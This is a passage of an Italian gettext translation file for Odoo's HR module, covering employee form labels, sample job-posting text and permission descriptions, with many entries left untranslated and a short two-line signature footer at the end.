"La struttura di Odoo's è utilizzata per la gestione di tutti i documenti "
"relativi agli impiegati in base ai seguenti dipartimenti: spese, cartellini "
"delle presenze, permessi e ferie, assunzioni ecc."

#. module: hr
#: model:res.groups,name:hr.group_hr_user
msgid "Officer"
msgstr "Responsabile"

#. module: hr
#: selection:hr.employee,gender:0
msgid "Other"
msgstr "Altro"

#. module: hr
#: model:ir.ui.view,arch_db:hr.view_employee_form
msgid "Other Information ..."
msgstr "Altre informazioni ..."

#. module: hr
#: model:hr.job,website_description:hr.job_ceo
#: model:hr.job,website_description:hr.job_consultant
#: model:hr.job,website_description:hr.job_cto
#: model:hr.job,website_description:hr.job_developer
#: model:hr.job,website_description:hr.job_hrm
#: model:hr.job,website_description:hr.job_marketing
#: model:hr.job,website_description:hr.job_trainee
msgid "Our staff at work"
msgstr "Il nostro team al lavoro"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_department_parent_id
msgid "Parent Department"
msgstr "Dipartimento Superiore"

#. module: hr
#: model:ir.model,name:hr.model_res_partner
msgid "Partner"
msgstr "Partner"

#. module: hr
#: model:hr.job,website_description:hr.job_developer
msgid "Passion for the Internet and its culture"
msgstr "Passione per Internet e la sua cultura"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_passport_id
msgid "Passport No"
msgstr "Num. passaporto"

#. module: hr
#: model:ir.ui.view,arch_db:hr.view_employee_form
msgid "Personal Information"
msgstr "Informazioni Personali"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_image
msgid "Photo"
msgstr "Foto"

#. module: hr
#: model:hr.job,website_description:hr.job_ceo
#: model:hr.job,website_description:hr.job_consultant
#: model:hr.job,website_description:hr.job_cto
#: model:hr.job,website_description:hr.job_developer
#: model:hr.job,website_description:hr.job_hrm
#: model:hr.job,website_description:hr.job_marketing
#: model:hr.job,website_description:hr.job_trainee
msgid "Pictures of smart and enthusiastic people"
msgstr "Foto di persone intelligenti ed entusiaste"

#. module: hr
#: model:ir.ui.view,arch_db:hr.view_employee_form
msgid "Position"
msgstr "Ruolo"

#. module: hr
#: model:hr.job,website_description:hr.job_cto
#: model:hr.job,website_description:hr.job_developer
#: model:hr.job,website_description:hr.job_trainee
msgid "Preferably 1 year of experience"
msgstr "Preferibile 1 anno di esperienza"

#. module: hr
#: model:ir.ui.view,arch_db:hr.view_employee_form
msgid "Public Information"
msgstr "Informazione Pubblica"

#. module: hr
#: model:hr.job,website_description:hr.job_consultant
msgid "Quantify and negotiate the resources required"
msgstr "Quantificare e negoziare le risorse richieste"

#. module: hr
#: model:hr.job,website_description:hr.job_developer
msgid "Quick and autonomous learner"
msgstr "Studente veloce ed autonomo"

#. module: hr
#: selection:hr.job,state:0
msgid "Recruitment in Progress"
msgstr "Reclutamento in corso"

#. module: hr
#: model:ir.ui.view,arch_db:hr.view_employee_form
msgid "Related User"
msgstr "Utente Collegato"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_res_users_employee_ids
msgid "Related employees"
msgstr "Dipendenti correlati"

#. module: hr
#: model:ir.model.fields,help:hr.field_hr_employee_user_id
msgid "Related user name for the resource to manage its access."
msgstr "Nome utente per controllare accessi per la risorsa"

#. module: hr
#: model:ir.ui.menu,name:hr.menu_hr_reporting_timesheet
msgid "Reports"
msgstr "Report"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_job_requirements
msgid "Requirements"
msgstr "Requisiti"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_resource_id
msgid "Resource"
msgstr "Risorsa"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_name_related
msgid "Resource Name"
msgstr "Nome Risorsa"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_resource_type
msgid "Resource Type"
msgstr "Tipo di risorsa"

#. module: hr
#: model:hr.job,website_description:hr.job_ceo
#: model:hr.job,website_description:hr.job_consultant
#: model:hr.job,website_description:hr.job_cto
#: model:hr.job,website_description:hr.job_developer
#: model:hr.job,website_description:hr.job_hrm
#: model:hr.job,website_description:hr.job_marketing
#: model:hr.job,website_description:hr.job_trainee
msgid "Responsibilities"
msgstr "Responsabilità"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_sinid
msgid "SIN No"
msgstr "Codice Fiscale"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_ssnid
msgid "SSN No"
msgstr "Numero SSN"

#. module: hr
#: model:hr.job,website_description:hr.job_ceo
#: model:hr.job,website_description:hr.job_hrm
#: model:hr.job,website_description:hr.job_marketing
msgid "Scale our events organization all around the world"
msgstr ""

#. module: hr
#: model:ir.model.fields,help:hr.field_hr_job_state
msgid ""
"Set whether the recruitment process is open or closed for this job position."
msgstr ""

#. module: hr
#: model:ir.ui.view,arch_db:hr.hr_department_view_kanban
msgid "Settings"
msgstr "Configurazione"

#. module: hr
#: selection:hr.employee,marital:0
msgid "Single"
msgstr "Celibe/nubile"

#. module: hr
#: model:hr.job,website_description:hr.job_ceo
#: model:hr.job,website_description:hr.job_consultant
#: model:hr.job,website_description:hr.job_cto
#: model:hr.job,website_description:hr.job_developer
#: model:hr.job,website_description:hr.job_hrm
#: model:hr.job,website_description:hr.job_marketing
#: model:hr.job,website_description:hr.job_trainee
msgid "Skills"
msgstr ""

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_image_small
msgid "Small-sized photo"
msgstr "Foto piccola"

#. module: hr
#: model:ir.model.fields,help:hr.field_hr_employee_image_small
msgid ""
"Small-sized photo of the employee. It is automatically resized as a 64x64px "
"image, with aspect ratio preserved. Use this field anywhere a small image is"
" required."
msgstr ""
"Foto piccola del dipendente. Ridimensionata automaticamente a 64x64px, "
"preservando le proporzioni. Usato ovuque sia necessaria una foto piccola."

#. module: hr
#: model:ir.model.fields,help:hr.field_hr_employee_sinid
msgid "Social Insurance Number"
msgstr "Numero tessera sanitaria"

#. module: hr
#: model:ir.model.fields,help:hr.field_hr_employee_ssnid
msgid "Social Security Number"
msgstr "Numero posizione previdenziale"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_job_state
#: model:ir.ui.view,arch_db:hr.view_employee_form
#: model:ir.ui.view,arch_db:hr.view_job_filter
msgid "Status"
msgstr "Stato"

#. module: hr
#: model:ir.ui.view,arch_db:hr.view_hr_job_form
msgid "Stop Recruitment"
msgstr "Ferma Assunzioni"

#. module: hr
#: model:ir.actions.act_window,name:hr.hr_employee_action_subordinate_hierachy
msgid "Subordinate Hierarchy"
msgstr "Gerarchia Subordinata"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_child_ids
msgid "Subordinates"
msgstr "Subordinati"

#. module: hr
#: sql_constraint:hr.employee.category:0
msgid "Tag name already exists !"
msgstr "Esiste già un tag con questo nome !"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_category_ids
msgid "Tags"
msgstr "Tag"

#. module: hr
#: model:hr.job,website_description:hr.job_consultant
msgid "Take part in the consulting services"
msgstr ""

#. module: hr
#: model:hr.job,website_description:hr.job_developer
msgid "Team spirit and good communication"
msgstr "Spirito di squadra e buona comunicazione"

#. module: hr
#: model:ir.model,name:hr.model_mail_test
msgid "Test Mail Model"
msgstr ""

#. module: hr
#: sql_constraint:hr.job:0
msgid "The name of the job position must be unique per department in company!"
msgstr ""
"Il nome della posizione lavorativa deve essere unico per dipartimento "
"nell'azienda!"

#. module: hr
#: model:res.groups,comment:hr.group_hr_attendance
msgid ""
"The user will gain access to the human resources attendance menu, enabling "
"him to manage his own attendance."
msgstr ""

#. module: hr
#: model:ir.model.fields,help:hr.field_hr_employee_time_efficiency
msgid ""
"This field depict the efficiency of the resource to complete tasks. e.g  "
"resource put alone on a phase of 5 days with 5 tasks assigned to him, will "
"show a load of 100% for this phase by default, but if we put a efficiency of"
" 200%, then his load will only be 50%."
msgstr ""
"Questo campo rappresenta l'efficienza della risorsa sull'esecuzione delle "
"attività. Per es. una risorsa impiegata da sola su una fase di 5 giorni con "
"5 attività assegnategli, avrà un carico del 100% per questa fase per "
"default, ma se indichiamo un'efficienza del 200%, allora il suo carico sarà "
"di solo il 50%."

#. module: hr
#: model:ir.model.fields,help:hr.field_hr_employee_image
msgid ""
"This field holds the image used as photo for the employee, limited to "
"1024x1024px."
msgstr ""
"Questo campo gestisce l'immagine usata come foto del dipendente, limitata a "
"1024x1024px."

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_job_expected_employees
msgid "Total Forecasted Employees"
msgstr "Totale Previsione Dipendenti"

#. module: hr
#: model:hr.job,name:hr.job_trainee
msgid "Trainee"
msgstr ""

#. module: hr
#: model:hr.job,website_description:hr.job_marketing
msgid "Transform our product into a suite of well positioned business Apps"
msgstr ""

#. module: hr
#: model:ir.ui.view,arch_db:hr.hr_kanban_view_employees
#: model:ir.ui.view,arch_db:hr.view_department_filter
#: model:ir.ui.view,arch_db:hr.view_employee_filter
#: model:ir.ui.view,arch_db:hr.view_job_filter
msgid "Unread Messages"
msgstr "Messaggi non letti"

#. module: hr
#: model:ir.model.fields,help:hr.field_hr_employee_login
msgid "Used to log into the system"
msgstr "Usato per il login nel sistema"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_user_id
msgid "User"
msgstr "Utente"

#. module: hr
#: model:ir.model,name:hr.model_res_users
msgid "Users"
msgstr "Utenti"

#. module: hr
#: model:hr.job,website_description:hr.job_consultant
msgid ""
"We are looking for a motivated and results-driven Functional Consultant! You"
" will take part in the consulting services we provide to our partners and "
"customers, on the functional side. Your job start from the quotation to the "
"customer to the delivery to the customer. You listen the customer and try to"
" give him the best service. You report to the head of consulting service and"
" will be coached by a senior consultant."
msgstr ""

#. module: hr
#: model:hr.job,website_description:hr.job_hrm
msgid ""
"We are looking for a passionated Human Resources Manager to help us make "
"products people love to use. We need someone who is ambitious, passionated, "
"and ..... not afraid to start new things, a lot of new things and scale "
"them."
msgstr ""

#. module: hr
#: model:hr.job,website_description:hr.job_ceo
msgid ""
"We are looking for a passionated executive manager to help us make products "
"people love to use. We need someone who is ambitious, passionated, and ....."
" not afraid to start new things, a lot of new things and scale them."
msgstr ""

#. module: hr
#: model:hr.job,website_description:hr.job_marketing
msgid ""
"We are looking for a passionated marketer manager to help us make products "
"people love to use. We need someone who is ambitious, passionated, and ....."
" not afraid to start new things, a lot of new things and scale them."
msgstr ""

#. module: hr
#: model:hr.job,website_description:hr.job_ceo
#: model:hr.job,website_description:hr.job_consultant
#: model:hr.job,website_description:hr.job_cto
#: model:hr.job,website_description:hr.job_developer
#: model:hr.job,website_description:hr.job_hrm
#: model:hr.job,website_description:hr.job_marketing
#: model:hr.job,website_description:hr.job_trainee
msgid "What we offer"
msgstr "Cosa offriamo"

#. module: hr
#: model:hr.job,website_description:hr.job_ceo
#: model:hr.job,website_description:hr.job_consultant
#: model:hr.job,website_description:hr.job_cto
#: model:hr.job,website_description:hr.job_developer
#: model:hr.job,website_description:hr.job_hrm
#: model:hr.job,website_description:hr.job_marketing
#: model:hr.job,website_description:hr.job_trainee
msgid "What you will do ..."
msgstr "Cosa farai ..."

#. module: hr
#: selection:hr.employee,marital:0
msgid "Widower"
msgstr "Vedovo"

#. module: hr
#: model:hr.job,website_description:hr.job_consultant
msgid "Will report to the Head of Professional Services"
msgstr ""

#. module: hr
#: model:ir.actions.act_window,help:hr.act_employee_from_department
#: model:ir.actions.act_window,help:hr.open_view_employee_list_my
msgid ""
"With just a quick glance on the Odoo employee screen, you\n"
"                can easily find all the information you need for each person;\n"
"                contact data, job position, availability, etc."
msgstr ""

#. module: hr
#: model:hr.job,website_description:hr.job_ceo
#: model:hr.job,website_description:hr.job_consultant
#: model:hr.job,website_description:hr.job_cto
#: model:hr.job,website_description:hr.job_developer
#: model:hr.job,website_description:hr.job_hrm
#: model:hr.job,website_description:hr.job_marketing
#: model:hr.job,website_description:hr.job_trainee
msgid ""
"With our product, which is a suite of 3000 business apps. It is fully open "
"source, full featured and it’s online offer is 3 times cheaper than "
"traditional competitors. We have 2.000.000 users, and we're growing fast."
msgstr ""

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_work_email
msgid "Work Email"
msgstr "Email Ufficio"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_work_location
msgid "Work Location"
msgstr ""

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_mobile_phone
msgid "Work Mobile"
msgstr "Cellulare ufficio"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_work_phone
msgid "Work Phone"
msgstr "Telefono Ufficio"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_address_id
msgid "Working Address"
msgstr "Indirizzo di lavoro"

#. module: hr
#: model:ir.model.fields,field_description:hr.field_hr_employee_calendar_id
msgid "Working Time"
msgstr "Orario lavorativo"

#. module: hr
#: model:hr.job,website_description:hr.job_marketing
msgid "Write attractive content"
msgstr ""

#. module: hr
#: model:hr.job,website_description:hr.job_hrm
msgid "Write attractive content and build up Human Resources materials"
msgstr ""

#. module: hr
#: model:hr.job,website_description:hr.job_ceo
msgid "Write attractive content and build up executive materials"
msgstr ""

#. module: hr
#: model:hr.job,website_description:hr.job_consultant
msgid "You are a quick and autonomous learner"
msgstr ""

#. module: hr
#: model:hr.job,website_description:hr.job_consultant
msgid "You are an excellent communicator and negotiator"
msgstr ""

#. module: hr
#: model:hr.job,website_description:hr.job_ceo
#: model:hr.job,website_description:hr.job_hrm
#: model:hr.job,website_description:hr.job_marketing
msgid "You are approachable, honest and fun team player"
msgstr ""

#. module: hr
#: model:hr.job,website_description:hr.job_consultant
msgid "You are available immediately"
msgstr ""

#. module: hr
#: model:hr.job,website_description:hr.job_ceo
#: model:hr.job,website_description:hr.job_hrm
#: model:hr.job,website_description:hr.job_marketing
msgid "You are creative"
msgstr ""

#. module: hr
#: model:hr.job,website_description:hr.job_consultant
msgid "You are ready to travel in US"
msgstr ""

#. module: hr
#: model:hr.job,website_description:hr.job_ceo
#: model:hr.job,website_description:hr.job_hrm
#: model:hr.job,website_description:hr.job_marketing
msgid "You are ready to work in a dynamic company"
msgstr ""

#. module: hr
#: model:ir.actions.act_window,help:hr.action_hr_job
msgid ""
"You can attach a survey to a job position. It will be used in\n"
"                the recruitment process to evaluate the applicants for this job\n"
"                position."
msgstr ""

#. module: hr
#: model:hr.job,website_description:hr.job_consultant
msgid "You have 2 or 3 years of experience"
msgstr ""

#. module: hr
#: model:hr.job,website_description:hr.job_consultant
msgid "You have a Master degree in Business Management"
msgstr ""

#. module: hr
#: model:hr.job,website_description:hr.job_consultant
#: model:hr.job,website_description:hr.job_marketing
msgid "You have an affinity with the IT world"
msgstr ""

#. module: hr
#: model:hr.job,website_description:hr.job_ceo
#: model:hr.job,website_description:hr.job_hrm
#: model:hr.job,website_description:hr.job_marketing
msgid "You have an affinity with the product"
msgstr ""

#. module: hr
#: model:hr.job,website_description:hr.job_consultant
msgid "You have good knowledge in accounting"
msgstr ""

#. module: hr
#: model:hr.job,website_description:hr.job_consultant
msgid "You speak a third language"
msgstr ""

#. module: hr
#: model:hr.job,website_description:hr.job_consultant
msgid "You speak fluently French and English"
msgstr ""

#. module: hr
#: model:hr.job,website_description:hr.job_cto
#: model:hr.job,website_description:hr.job_trainee
msgid ""
"You will be responsible for developing and improving applications. You will "
"work autonomously as well as                     coordinate and supervise "
"small distributed development teams for specific projects. You will become a"
" technical                 expert of the product."
msgstr ""

#. module: hr
#: model:hr.job,website_description:hr.job_developer
msgid ""
"You will be responsible for developing and improving applications. You will "
"work autonomously as well as coordinate and supervise small distributed "
"development teams for specific projects. You will become a technical expert "
"of the product."
msgstr ""

#. module: hr
#: model:hr.job,website_description:hr.job_ceo
#: model:hr.job,website_description:hr.job_hrm
#: model:hr.job,website_description:hr.job_marketing
msgid ""
"You will be responsible for developing and improving product communication. "
"You will work autonomously as well as coordinate and supervise small "
"distributed development teams for specific projects. You will become a "
"techinical expert of the product."
msgstr ""

#. module: hr
#: model:hr.job,website_description:hr.job_cto
#: model:hr.job,website_description:hr.job_developer
#: model:hr.job,website_description:hr.job_trainee
msgid "You will become a technical expert of the product."
msgstr ""

#. module: hr
#: model:hr.job,website_description:hr.job_developer
msgid "You will initially be coached by senior developers"
msgstr ""

#. module: hr
#: model:hr.job,website_description:hr.job_cto
msgid "You will initially be coached by senior technical officer"
msgstr ""

#. module: hr
#: model:hr.job,website_description:hr.job_trainee
msgid "You will initially be coached by senior trainees"
msgstr ""

#. module: hr
#: model:hr.job,website_description:hr.job_cto
#: model:hr.job,website_description:hr.job_developer
#: model:hr.job,website_description:hr.job_trainee
msgid "You will report to the head of R&amp;D"
msgstr ""

#. module: hr
#: model:hr.job,website_description:hr.job_developer
msgid "You will work closely with all developers"
msgstr ""

#. module: hr
#: model:hr.job,website_description:hr.job_cto
msgid "You will work closely with all technical officer"
msgstr ""

#. module: hr
#: model:hr.job,website_description:hr.job_trainee
msgid "You will work closely with all trainees"
msgstr ""

#. module: hr
#: model:mail.template,subject:hr.mail_template_data_unknown_employee_email_address
msgid "Your document has not been created"
msgstr ""

#. module: hr
#: model:mail.template,body_html:hr.mail_template_data_unknown_employee_email_address
msgid ""
"Your document has not been created because your email address is not "
"recognized. Please send emails with the email address recorded on your "
"employee information, or contact your HR manager."
msgstr ""

#. module: hr
#: code:addons/hr/models/mail_thread.py:41
#, python-format
msgid "alias %s does not accept unknown employees"
msgstr ""

#. module: hr
#: model:ir.ui.view,arch_db:hr.view_department_form
msgid "department"
msgstr "Dipartimento"

#. module: hr
#: model:ir.ui.view,arch_db:hr.view_employee_form
msgid "e.g. Part Time"
msgstr "es. Part Time"

#. module: hr
#: model:ir.ui.view,arch_db:hr.view_hr_job_form
msgid "e.g. Sales Manager"
msgstr ""

#. module: hr
#: code:addons/hr/models/mail_thread.py:41
#, python-format
msgid "skipping"
msgstr ""

#. module: hr
#: model:res.groups,comment:hr.group_hr_user
msgid "the user will be able to approve document created by employees."
msgstr "l'utente sarà in grado di approvare documenti creati dai dipendenti."

#. module: hr
#: model:res.groups,comment:hr.group_hr_manager
msgid ""
"the user will have an access to the human resources configuration as well as"
" statistic reports."
msgstr ""
"L'utente avrà un accesso al menù configurazione Risorse Umane così come ai "
"report statistici."

Anon7 - 2022
AnonSec Team